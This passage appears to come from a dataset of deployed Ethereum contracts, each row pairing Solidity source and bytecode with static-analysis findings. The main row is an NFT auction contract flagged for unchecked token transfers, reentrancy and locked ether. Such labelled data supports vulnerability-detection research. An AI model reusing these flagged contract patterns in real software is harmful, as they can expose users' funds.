fffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610fc0576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611054565b610fd383826118b190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f4b524d000000000000000000000000000000000000000000000000000000000081525081565b60003373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561124557600080fd5b61124f83836118e6565b6001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112c357503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15156112ce57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561131b57600080fd5b61136c826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113ff826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ca90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061156782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ca90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117b557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156117f157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156118bf57fe5b818303905092915050565b600081830190508281101515156118dd57fe5b80905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561193357600080fd5b611984816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b190919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119db816001546118b190919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a72305820bc4afb343c8bd3c8b3283ccec2d59d11f02b4f792042e14ad6f8eb11953449590029 | {"success": true, "error": null, "results": {}} | 1,418 |
0xe9f3127ea9b993f34856da120d526e19c1891f93 | pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC721Interface {
//ERC721
function balanceOf(address owner) public view returns (uint256 _balance);
function ownerOf(uint256 tokenID) public view returns (address owner);
function transfer(address to, uint256 tokenID) public returns (bool);
function approve(address to, uint256 tokenID) public returns (bool);
function takeOwnership(uint256 tokenID) public;
function totalSupply() public view returns (uint);
function owns(address owner, uint256 tokenID) public view returns (bool);
function allowance(address claimant, uint256 tokenID) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenID) public returns (bool);
function createLand(address owner) external returns (uint);
}
contract ERC20 {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
mapping(address => bool) admins;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AddAdmin(address indexed admin);
event DelAdmin(address indexed admin);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyAdmin() {
require(isAdmin(msg.sender));
_;
}
function addAdmin(address _adminAddress) external onlyOwner {
require(_adminAddress != address(0));
admins[_adminAddress] = true;
emit AddAdmin(_adminAddress);
}
function delAdmin(address _adminAddress) external onlyOwner {
require(admins[_adminAddress]);
admins[_adminAddress] = false;
emit DelAdmin(_adminAddress);
}
function isAdmin(address _adminAddress) public view returns (bool) {
return admins[_adminAddress];
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) external onlyOwner {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
interface NewAuctionContract {
function receiveAuction(address _token, uint _tokenId, uint _startPrice, uint _stopTime) external returns (bool);
}
//TODO CHECK duration before deploy in mainnet
contract AuctionContract is Ownable {
using SafeMath for uint;
ERC20 public arconaToken;
struct Auction {
address owner;
address token;
uint tokenId;
uint startPrice;
uint stopTime;
address winner;
uint executeTime;
uint finalPrice;
bool executed;
bool exists;
}
mapping(address => bool) public acceptedTokens;
mapping(address => bool) public whiteList;
mapping (address => bool) public users;
mapping(uint256 => Auction) public auctions;
//token => token_id = auction id
mapping (address => mapping (uint => uint)) public auctionIndex;
mapping(address => uint256[]) private ownedAuctions;
uint private lastAuctionId;
uint defaultExecuteTime = 24 hours;
uint public auctionFee = 300; //3%
uint public gasInTokens = 1000000000000000000;
uint public minDuration = 1;
uint public maxDuration = 20160;
address public profitAddress;
event ReceiveCreateAuction(address from, uint tokenId, address token);
event AddAcceptedToken(address indexed token);
event DelAcceptedToken(address indexed token);
event AddWhiteList(address indexed addr);
event DelWhiteList(address indexed addr);
event NewAuction(address indexed owner, uint tokenId, uint auctionId);
event AddUser(address indexed user);
event GetToken(uint auctionId, address winner);
event SetWinner(address winner, uint auctionId, uint finalPrice, uint executeTime);
event CancelAuction(uint auctionId);
constructor(address _token, address _profitAddress) public {
arconaToken = ERC20(_token);
profitAddress = _profitAddress;
}
function() public payable {
if (!users[msg.sender]) {
users[msg.sender] = true;
emit AddUser(msg.sender);
}
}
function receiveCreateAuction(address _from, address _token, uint _tokenId, uint _startPrice, uint _duration) public returns (bool) {
require(isAcceptedToken(_token));
require(_duration >= minDuration && _duration <= maxDuration);
_createAuction(_from, _token, _tokenId, _startPrice, _duration);
emit ReceiveCreateAuction(_from, _tokenId, _token);
return true;
}
function createAuction(address _token, uint _tokenId, uint _startPrice, uint _duration) external returns (bool) {
require(isAcceptedToken(_token));
require(_duration >= minDuration && _duration <= maxDuration);
_createAuction(msg.sender, _token, _tokenId, _startPrice, _duration);
return true;
}
function _createAuction(address _from, address _token, uint _tokenId, uint _startPrice, uint _duration) internal returns (uint) {
require(ERC721Interface(_token).transferFrom(_from, this, _tokenId));
auctions[++lastAuctionId] = Auction({
owner : _from,
token : _token,
tokenId : _tokenId,
startPrice : _startPrice,
//startTime : now,
stopTime : now + (_duration * 1 minutes),
winner : address(0),
executeTime : now + (_duration * 1 minutes) + defaultExecuteTime,
finalPrice : 0,
executed : false,
exists: true
});
auctionIndex[_token][_tokenId] = lastAuctionId;
ownedAuctions[_from].push(lastAuctionId);
emit NewAuction(_from, _tokenId, lastAuctionId);
return lastAuctionId;
}
function setWinner(address _winner, uint _auctionId, uint _finalPrice, uint _executeTime) onlyAdmin external {
require(auctions[_auctionId].exists);
require(!auctions[_auctionId].executed);
require(now > auctions[_auctionId].stopTime);
//require(auctions[_auctionId].winner == address(0));
require(_finalPrice >= auctions[_auctionId].startPrice);
auctions[_auctionId].winner = _winner;
auctions[_auctionId].finalPrice = _finalPrice;
if (_executeTime > 0) {
auctions[_auctionId].executeTime = now + (_executeTime * 1 minutes);
}
emit SetWinner(_winner, _auctionId, _finalPrice, _executeTime);
}
function getToken(uint _auctionId) external {
require(auctions[_auctionId].exists);
require(!auctions[_auctionId].executed);
require(now <= auctions[_auctionId].executeTime);
require(msg.sender == auctions[_auctionId].winner);
uint fullPrice = auctions[_auctionId].finalPrice;
require(arconaToken.transferFrom(msg.sender, this, fullPrice));
if (!inWhiteList(msg.sender)) {
uint fee = valueFromPercent(fullPrice, auctionFee);
fullPrice = fullPrice.sub(fee).sub(gasInTokens);
}
arconaToken.transfer(auctions[_auctionId].owner, fullPrice);
require(ERC721Interface(auctions[_auctionId].token).transfer(auctions[_auctionId].winner, auctions[_auctionId].tokenId));
auctions[_auctionId].executed = true;
emit GetToken(_auctionId, msg.sender);
}
function cancelAuction(uint _auctionId) external {
require(auctions[_auctionId].exists);
require(!auctions[_auctionId].executed);
require(msg.sender == auctions[_auctionId].owner);
require(now > auctions[_auctionId].executeTime);
require(ERC721Interface(auctions[_auctionId].token).transfer(auctions[_auctionId].owner, auctions[_auctionId].tokenId));
emit CancelAuction(_auctionId);
}
function migrateAuction(uint _auctionId, address _newAuction) external {
require(auctions[_auctionId].exists);
require(!auctions[_auctionId].executed);
require(msg.sender == auctions[_auctionId].owner);
require(now > auctions[_auctionId].executeTime);
require(ERC721Interface(auctions[_auctionId].token).approve(_newAuction, auctions[_auctionId].tokenId));
require(NewAuctionContract(_newAuction).receiveAuction(
auctions[_auctionId].token,
auctions[_auctionId].tokenId,
auctions[_auctionId].startPrice,
auctions[_auctionId].stopTime
));
}
function ownerAuctionCount(address _owner) external view returns (uint256) {
return ownedAuctions[_owner].length;
}
function auctionsOf(address _owner) external view returns (uint256[]) {
return ownedAuctions[_owner];
}
function addAcceptedToken(address _token) onlyAdmin external {
require(_token != address(0));
acceptedTokens[_token] = true;
emit AddAcceptedToken(_token);
}
function delAcceptedToken(address _token) onlyAdmin external {
require(acceptedTokens[_token]);
acceptedTokens[_token] = false;
emit DelAcceptedToken(_token);
}
function addWhiteList(address _address) onlyAdmin external {
require(_address != address(0));
whiteList[_address] = true;
emit AddWhiteList(_address);
}
function delWhiteList(address _address) onlyAdmin external {
require(whiteList[_address]);
whiteList[_address] = false;
emit DelWhiteList(_address);
}
function setDefaultExecuteTime(uint _hours) onlyAdmin external {
defaultExecuteTime = _hours * 1 hours;
}
function setAuctionFee(uint _fee) onlyAdmin external {
auctionFee = _fee;
}
function setGasInTokens(uint _gasInTokens) onlyAdmin external {
gasInTokens = _gasInTokens;
}
function setMinDuration(uint _minDuration) onlyAdmin external {
minDuration = _minDuration;
}
function setMaxDuration(uint _maxDuration) onlyAdmin external {
maxDuration = _maxDuration;
}
function setProfitAddress(address _profitAddress) onlyOwner external {
require(_profitAddress != address(0));
profitAddress = _profitAddress;
}
function isAcceptedToken(address _token) public view returns (bool) {
return acceptedTokens[_token];
}
function inWhiteList(address _address) public view returns (bool) {
return whiteList[_address];
}
function withdrawTokens() onlyAdmin public {
require(arconaToken.balanceOf(this) > 0);
arconaToken.transfer(profitAddress, arconaToken.balanceOf(this));
}
//1% - 100, 10% - 1000 50% - 5000
function valueFromPercent(uint _value, uint _percent) internal pure returns (uint amount) {
uint _amount = _value.mul(_percent).div(10000);
return (_amount);
}
} | 0x6080604052600436106101cc5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663100a0ed18114610228578063123702e21461026c57806314525b6b1461029d5780631674bade146102c45780631a9aa710146102dc5780631da83550146102fd57806324d7806c1461032757806329d592bf1461034857806333a87ade1461035d578063372c12b1146103725780633b6e750f146103935780633eee83f1146103b457806345262b05146103d557806356715761146103ed578063571a26a014610402578063605e5ee11461048257806361beb1d7146104a357806362d91855146104cd57806369e0e346146104ee5780636db5c8fd1461050f57806370480275146105245780638059382a14610545578063810869181461055d57806382cf114c1461057e57806382dc4a051461059f5780638d8f2adb146105c05780638da5cb5b146105d557806396b5a755146105ea578063a87430ba14610602578063c70fe6bd14610623578063c824a22214610647578063cf0f34c4146106b8578063e4b50cb8146106d0578063e7cd4a04146106e8578063eba39dab14610709578063f2fde38b1461072d578063f59e754c1461074e575b3360009081526005602052604090205460ff1615156102265733600081815260056020526040808220805460ff19166001179055517f93e8ef53fa1762269961bdc02811e560fa10787f7f2f9c13f74ddad8221614d29190a25b005b34801561023457600080fd5b50610258600160a060020a0360043581169060243516604435606435608435610766565b604080519115158252519081900360200190f35b34801561027857600080fd5b506102816107ff565b60408051600160a060020a039092168252519081900360200190f35b3480156102a957600080fd5b506102b261080e565b60408051918252519081900360200190f35b3480156102d057600080fd5b50610226600435610814565b3480156102e857600080fd5b506102b2600160a060020a036004351661082d565b34801561030957600080fd5b50610226600160a060020a0360043516602435604435606435610848565b34801561033357600080fd5b50610258600160a060020a0360043516610991565b34801561035457600080fd5b506102816109af565b34801561036957600080fd5b506102b26109be565b34801561037e57600080fd5b50610258600160a060020a03600435166109c4565b34801561039f57600080fd5b50610258600160a060020a03600435166109d9565b3480156103c057600080fd5b50610226600160a060020a03600435166109f7565b3480156103e157600080fd5b50610226600435610a6c565b3480156103f957600080fd5b506102b2610a89565b34801561040e57600080fd5b5061041a600435610a8f565b60408051600160a060020a039b8c168152998b1660208b015289810198909852606089019690965260808801949094529190961660a086015260c085019590955260e08401949094529215156101008301529115156101208201529051908190036101400190f35b34801561048e57600080fd5b50610226600160a060020a0360043516610af6565b3480156104af57600080fd5b50610258600160a060020a0360043516602435604435606435610b7a565b3480156104d957600080fd5b50610226600160a060020a0360043516610bc8565b3480156104fa57600080fd5b50610258600160a060020a0360043516610c4f565b34801561051b57600080fd5b506102b2610c6d565b34801561053057600080fd5b50610226600160a060020a0360043516610c73565b34801561055157600080fd5b50610226600435610cee565b34801561056957600080fd5b50610226600160a060020a0360043516610d07565b34801561058a57600080fd5b50610226600160a060020a0360043516610d8b565b3480156105ab57600080fd5b50610258600160a060020a0360043516610de6565b3480156105cc57600080fd5b50610226610dfb565b3480156105e157600080fd5b50610281610fdd565b3480156105f657600080fd5b50610226600435610fec565b34801561060e57600080fd5b50610258600160a060020a0360043516611164565b34801561062f57600080fd5b50610226600435600160a060020a0360243516611179565b34801561065357600080fd5b50610668600160a060020a036004351661138c565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156106a457818101518382015260200161068c565b505050509050019250505060405180910390f35b3480156106c457600080fd5b506102266004356113f8565b3480156106dc57600080fd5b50610226600435611411565b3480156106f457600080fd5b50610226600160a060020a0360043516611760565b34801561071557600080fd5b506102b2600160a060020a03600435166024356117d5565b34801561073957600080fd5b50610226600160a060020a03600435166117f2565b34801561075a57600080fd5b50610226600435611886565b6000610771856109d9565b151561077c57600080fd5b600d5482101580156107905750600e548211155b151561079b57600080fd5b6107a8868686868661189f565b5060408051600160a060020a0380891682526020820187905287168183015290517f52cf95338051277639fa0945f1014440443e26a47d16f0ccfd0f11c543b574969181900360600190a150600195945050505050565b600f54600160a060020a031681565b600b5481565b61081d33610991565b151561082857600080fd5b600d55565b600160a060020a031660009081526008602052604090205490565b61085133610991565b151561085c57600080fd5b600083815260066020526040902060080154610100900460ff16151561088157600080fd5b60008381526006602052604090206008015460ff16156108a057600080fd5b60008381526006602052604090206004015442116108bd57600080fd5b6000838152600660205260409020600301548210156108db57600080fd5b600083815260066020526040812060058101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03881617905560070183905581111561093b57600083815260066020819052604090912042603c8402019101555b60408051600160a060020a0386168152602081018590528082018490526060810183905290517f6df7f1ac1af0d9df17b3f57818b7c7fb72d75e2acdbf61fca4bc5971619823ce9181900360800190a150505050565b600160a060020a031660009081526001602052604090205460ff1690565b600254600160a060020a031681565b600c5481565b60046020526000908152604090205460ff1681565b600160a060020a031660009081526003602052604090205460ff1690565b610a0033610991565b1515610a0b57600080fd5b600160a060020a0381161515610a2057600080fd5b600160a060020a038116600081815260036020526040808220805460ff19166001179055517f8d12536a26e1c757d393b039469ce97499ed4a5c39f067cd950f9295a269061b9190a250565b610a7533610991565b1515610a8057600080fd5b610e1002600a55565b600d5481565b6006602081905260009182526040909120805460018201546002830154600384015460048501546005860154968601546007870154600890970154600160a060020a0396871698958716979496939592949390921692909160ff808216916101009004168a565b610aff33610991565b1515610b0a57600080fd5b600160a060020a03811660009081526004602052604090205460ff161515610b3157600080fd5b600160a060020a038116600081815260046020526040808220805460ff19169055517f4be8d593c63e0ba664ad9b6f5158c6dbb2553758fbeb4e947d2e0fb93e34c0ab9190a250565b6000610b85856109d9565b1515610b9057600080fd5b600d548210158015610ba45750600e548211155b1515610baf57600080fd5b610bbc338686868661189f565b50600195945050505050565b600054600160a060020a03163314610bdf57600080fd5b600160a060020a03811660009081526001602052604090205460ff161515610c0657600080fd5b600160a060020a038116600081815260016020526040808220805460ff19169055517fb6932914dcfc2a1d602e4e0cd9f9d99dc9640ccfc789b1b83a691fc0c90c24c39190a250565b600160a060020a031660009081526004602052604090205460ff1690565b600e5481565b600054600160a060020a03163314610c8a57600080fd5b600160a060020a0381161515610c9f57600080fd5b600160a060020a0381166000818152600160208190526040808320805460ff1916909217909155517fad6de4452a631e641cb59902236607946ce9272b9b981f2f80e8d129cb9084ba9190a250565b610cf733610991565b1515610d0257600080fd5b600c55565b610d1033610991565b1515610d1b57600080fd5b600160a060020a03811660009081526003602052604090205460ff161515610d4257600080fd5b600160a060020a038116600081815260036020526040808220805460ff19169055517f069d00d2f2dbd28f23c2700b746dcb098284ac37ffe50573648bbdd69ff9d4909190a250565b600054600160a060020a03163314610da257600080fd5b600160a060020a0381161515610db757600080fd5b600f805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60036020526000908152604090205460ff1681565b610e0433610991565b1515610e0f57600080fd5b600254604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600092600160a060020a0316916370a0823191602480830192602092919082900301818787803b158015610e7457600080fd5b505af1158015610e88573d6000803e3d6000fd5b505050506040513d6020811015610e9e57600080fd5b505111610eaa57600080fd5b600254600f54604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a039384169363a9059cbb93169184916370a08231916024808201926020929091908290030181600087803b158015610f1d57600080fd5b505af1158015610f31573d6000803e3d6000fd5b505050506040513d6020811015610f4757600080fd5b5051604080517c010000000000000000000000000000000000000000000000000000000063ffffffff8616028152600160a060020a03909316600484015260248301919091525160448083019260209291908290030181600087803b158015610faf57600080fd5b505af1158015610fc3573d6000803e3d6000fd5b505050506040513d6020811015610fd957600080fd5b5050565b600054600160a060020a031681565b600081815260066020526040902060080154610100900460ff16151561101157600080fd5b60008181526006602052604090206008015460ff161561103057600080fd5b600081815260066020526040902054600160a060020a0316331461105357600080fd5b60008181526006602081905260409091200154421161107157600080fd5b60008181526006602090815260408083206001810154815460029092015483517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0393841660048201526024810191909152925191169363a9059cbb93604480850194919392918390030190829087803b1580156110f757600080fd5b505af115801561110b573d6000803e3d6000fd5b505050506040513d602081101561112157600080fd5b5051151561112e57600080fd5b6040805182815290517fbea0e66c2d42b9131695ceea7d1aaa21b37e93070cde19c9b5fbd686a32592929181900360200190a150565b60056020526000908152604090205460ff1681565b600082815260066020526040902060080154610100900460ff16151561119e57600080fd5b60008281526006602052604090206008015460ff16156111bd57600080fd5b600082815260066020526040902054600160a060020a031633146111e057600080fd5b6000828152600660208190526040909120015442116111fe57600080fd5b6000828152600660209081526040808320600181015460029091015482517f095ea7b3000000000000000000000000000000000000000000000000000000008152600160a060020a0387811660048301526024820192909252925191169363095ea7b393604480850194919392918390030190829087803b15801561128257600080fd5b505af1158015611296573d6000803e3d6000fd5b505050506040513d60208110156112ac57600080fd5b505115156112b957600080fd5b600082815260066020908152604080832060018101546002820154600383015460049384015485517fb783508c000000000000000000000000000000000000000000000000000000008152600160a060020a039485169581019590955260248501929092526044840152606483015291519185169363b783508c9360848084019491939192918390030190829087803b15801561135557600080fd5b505af1158015611369573d6000803e3d6000fd5b505050506040513d602081101561137f57600080fd5b50511515610fd957600080fd5b600160a060020a0381166000908152600860209081526040918290208054835181840281018401909452808452606093928301828280156113ec57602002820191906000526020600020905b8154815260200190600101908083116113d8575b50505050509050919050565b61140133610991565b151561140c57600080fd5b600e55565b6000818152600660205260408120600801548190610100900460ff16151561143857600080fd5b60008381526006602052604090206008015460ff161561145757600080fd5b6000838152600660208190526040909120015442111561147657600080fd5b600083815260066020526040902060050154600160a060020a0316331461149c57600080fd5b60008381526006602090815260408083206007015460025482517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018390529251919650600160a060020a0316936323b872dd93606480850194919392918390030190829087803b15801561152157600080fd5b505af1158015611535573d6000803e3d6000fd5b505050506040513d602081101561154b57600080fd5b5051151561155857600080fd5b61156133610c4f565b151561159c5761157382600b54611bc5565b600c549091506115999061158d848463ffffffff611bf716565b9063ffffffff611bf716565b91505b60025460008481526006602090815260408083205481517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03918216600482015260248101889052915194169363a9059cbb93604480840194938390030190829087803b15801561161557600080fd5b505af1158015611629573d6000803e3d6000fd5b505050506040513d602081101561163f57600080fd5b505060008381526006602090815260408083206001810154600582015460029092015483517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0393841660048201526024810191909152925191169363a9059cbb93604480850194919392918390030190829087803b1580156116ca57600080fd5b505af11580156116de573d6000803e3d6000fd5b505050506040513d60208110156116f457600080fd5b5051151561170157600080fd5b600083815260066020908152604091829020600801805460ff191660011790558151858152339181019190915281517fe845626ba2a08ab4c2056f4bc64b91bcbe039c8c7fc3e7def11408870cf5409c929181900390910190a1505050565b61176933610991565b151561177457600080fd5b600160a060020a038116151561178957600080fd5b600160a060020a038116600081815260046020526040808220805460ff19166001179055517ff8d5f40934646cedded2cab1b5960f020db583f154fabcf831277b87d1803d139190a250565b600760209081526000928352604080842090915290825290205481565b600054600160a060020a0316331461180957600080fd5b600160a060020a038116151561181e57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b61188f33610991565b151561189a57600080fd5b600b55565b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a0387811660048301523060248301526044820186905291516000928716916323b872dd91606480830192602092919082900301818787803b15801561191157600080fd5b505af1158015611925573d6000803e3d6000fd5b505050506040513d602081101561193b57600080fd5b5051151561194857600080fd5b6101406040519081016040528087600160a060020a0316815260200186600160a060020a0316815260200185815260200184815260200183603c02420181526020016000600160a060020a03168152602001600a5484603c024201018152602001600081526020016000151581526020016001151581525060066000600960008154600101919050819055815260200190815260200160002060008201518160000160006101000a815481600160a060020a030219169083600160a060020a0316021790555060208201518160010160006101000a815481600160a060020a030219169083600160a060020a0316021790555060408201518160020155606082015181600301556080820151816004015560a08201518160050160006101000a815481600160a060020a030219169083600160a060020a0316021790555060c0820151816006015560e082015181600701556101008201518160080160006101000a81548160ff0219169083151502179055506101208201518160080160016101000a81548160ff0219169083151502179055509050506009546007600087600160a060020a0316600160a060020a031681526020019081526020016000206000868152602001908152602001600020819055506008600087600160a060020a0316600160a060020a03168152602001908152602001600020600954908060018154018082558091505090600182039060005260206000200160009091929091909150555085600160a060020a03167fc078426956212265671526c1abdaea1311badbf1505fe0711db77bca2fa9afae85600954604051808381526020018281526020019250505060405180910390a25060095495945050505050565b600080611bea612710611bde868663ffffffff611c0916565b9063ffffffff611c3b16565b90508091505b5092915050565b600082821115611c0357fe5b50900390565b600080831515611c1c5760009150611bf0565b50828202828482811515611c2c57fe5b0414611c3457fe5b9392505050565b6000808284811515611c4957fe5b049493505050505600a165627a7a7230582048fec5bec19867b3985cadfb1e27cf247b14cb62e212552086948eebd07566820029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc721-interface", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 1,419 |
0xeb746ca6514902aca21e7cc269f40588b2acca43 | pragma solidity ^0.6.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
